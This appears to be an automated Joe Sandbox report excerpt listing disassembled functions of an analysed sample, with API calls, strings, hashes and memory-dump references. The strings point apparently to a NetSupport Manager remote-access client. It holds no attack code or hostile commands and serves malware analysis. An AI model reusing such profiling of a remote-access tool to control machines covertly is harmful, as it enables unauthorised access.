Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction ID: 699a5c6b52ff0bb6954823876d42b720b76b3255f49526743c1f98bd9e848574
Opcode Fuzzy Hash: 84c8b7a82ef375d59f410a45cba939869921b52f6e49d691c42b1d567085cd2e
Instruction Fuzzy Hash: 67F0A03A70022877E21416BAAC08F9ABB5A8BC8A75F140230F928D69C0EB51C90086B5

Function 11031870 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031926

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

%s%s.bin, xrefs: 11031920
clientinv.cpp, xrefs: 1103189E
016477, xrefs: 11031907
m_pDoInv == NULL, xrefs: 110318A3

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$016477$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-3600184544
Opcode ID: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction ID: 64da4217f7417b153db366359b1c36bd372b32cb55e7c28d29c46c6ec3487e21
Opcode Fuzzy Hash: 84e0b1850b63e3f6f9fe70c2d5af7440bbdd732114a0c990adb36dbba2c833c3
Instruction Fuzzy Hash: 5421A1B9E04709AFD710CF65DC81BAAB7F4FB88718F40453EE86597680EB35A9008B65

Function 11144670 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11144D48,00000000,?,11144D48,00000000), ref: 1114468C
__strdup.LIBCMT ref: 111446A7

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Part of subcall function 11144670: _free.LIBCMT ref: 111446CE

_free.LIBCMT ref: 111446DC

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

CreateDirectoryA.KERNEL32(11144D48,00000000,?,?,?,11144D48,00000000), ref: 111446E7

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction ID: 9245e394badc27c9d68c775c1ae1103ae8f1f8453310ecf51c29309078bed6c3
Opcode Fuzzy Hash: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction Fuzzy Hash: F4016D7A7441065BF301197D7C057ABBB8C8F82AADF144032F89DC3D80F752E41682A1

Function 1100ED70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EDA2

Part of subcall function 11160824: _setlocale.LIBCMT ref: 11160836

_free.LIBCMT ref: 1100EDB4

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1100EDC7
_free.LIBCMT ref: 1100EDDA
_free.LIBCMT ref: 1100EDED

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction ID: 71b49ece8787e94f553dd036e4ff5c8d0ec16ff98238e97fea1187b5179b4c62
Opcode Fuzzy Hash: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction Fuzzy Hash: E61190B1D046109BD620DF599C40A5BF7FCEB44754F144A2AE456D3780E672F900CB91

Function 11145910 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 1114593E
wsprintfA.USER32 ref: 11145954

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

%sNSA.LIC, xrefs: 1114594E
%sNSM.LIC, xrefs: 11145938
NSM.LIC, xrefs: 11145923

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction ID: 1f9a4f0ce9ce2038842d239495dc50e58c380b2d1dc072d0c6c391bd72002940
Opcode Fuzzy Hash: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction Fuzzy Hash: 9C01B1B990521D66CB109BB0AC41FEAF77C9B1470DF100199EC1996940EE21BA548BA4

Function 11143230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

", xrefs: 1114327E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction ID: 150de81b6b92e27c68bcdd2e608667d56283c35638c5ea37a79585d4ca6bceb2
Opcode Fuzzy Hash: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction Fuzzy Hash: 38217C30A1C269AFE3128E78DD54FD9BBA49F45B14F3041E0E4999B1C1DBB1A948C750

Function 1102D0D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,1B492F88,74DF2EE0,?,00000000,1118083B,000000FF,?,110300D6,UseIPC,00000001,00000000), ref: 1102D187

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D14A

Strings

Client, xrefs: 1102D103
DisableGeolocation, xrefs: 1102D0FE

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction ID: 1755caac6fc2658334c1ed2ebc8622a08952aff54e10c128aab6c20125b970ec
Opcode Fuzzy Hash: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction Fuzzy Hash: 8521E474A40315BBE712CFA8CD42B6EF7A4E708B18F500269F921AB3C0D7B5B8008785

Function 110271B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110271DA

Part of subcall function 110CD550: EnterCriticalSection.KERNEL32(00000000,00000000,75BF3760,00000000,75C0A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
Part of subcall function 110CD550: LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4

TranslateMessage.USER32(?), ref: 110271F0
DispatchMessageA.USER32(?), ref: 110271F6

Strings

Exit Msgloop, quit=%d, xrefs: 1102722D

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction ID: 083e85bce0718499e1b375aadfda5de5654481b636091be3423b85693ac47093
Opcode Fuzzy Hash: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction Fuzzy Hash: 3D01D876E0521D66EB15DAE99C82F6FF3BD6B64718FD00065EE1092185F760F404CBA1

Function 110173F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110173FD

Part of subcall function 11017300: WaitForSingleObject.KERNEL32(000002FC,000000FF), ref: 1101733C
Part of subcall function 11017300: CoInitialize.OLE32(00000000), ref: 11017345
Part of subcall function 11017300: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
Part of subcall function 11017300: CoUninitialize.COMBASE ref: 110173D0

Part of subcall function 11017220: WaitForSingleObject.KERNEL32(000002FC,000000FF), ref: 11017252
Part of subcall function 11017220: CoInitialize.OLE32(00000000), ref: 1101725B
Part of subcall function 11017220: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
Part of subcall function 11017220: CoUninitialize.COMBASE ref: 110172E0

SetEvent.KERNEL32(000002FC), ref: 1101741D
GetTickCount.KERNEL32 ref: 11017423

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101742D

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction ID: c54e938b4ab1921e6220328725fe5e45cb955b1045b44cf9de438437e8313787
Opcode Fuzzy Hash: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction Fuzzy Hash: 47F0A0B6E1011C6BE700DBF9AC8AE6BBB9CDB4471CB100026F910C7245E9A6BC1087A1

Function 111377F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00001000,Function_00137630,00000000,00000000,11138782), ref: 1113782E
CloseHandle.KERNEL32(00000000,?,11138782,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11137835

Strings

*AutoICFConfig, xrefs: 11137807
Client, xrefs: 1113780C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction ID: 9aee7181833ba8711af7cecc10eced9f2f0784297ad8accf53734ae3fbf9e9e1
Opcode Fuzzy Hash: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction Fuzzy Hash: 98E0D8757A062D7AF6149AE98C86F65F6199744B26F500154FA20A50C4D6A0A440CB64

Function 11070C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070CB7
EnterCriticalSection.KERNEL32(?), ref: 11070CC4
LeaveCriticalSection.KERNEL32(?), ref: 11070D96

Strings

Push, xrefs: 11070C86

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction ID: e8f6e055aac827a13dfabc2dec6ad808bd843e21556e42594c7620890779e76f
Opcode Fuzzy Hash: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction Fuzzy Hash: 1B51CC78E04784DFE721DF64C880B8AFBE0EF09318F1546A9D8998B285D770BC84CB91

Function 00F01020 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00F01027
GetStartupInfoA.KERNEL32(?), ref: 00F0107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 00F01096
ExitProcess.KERNEL32 ref: 00F010A3

Memory Dump Source

Source File: 00000005.00000002.4131565154.0000000000F01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.4131549170.0000000000F00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f00000_shv.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
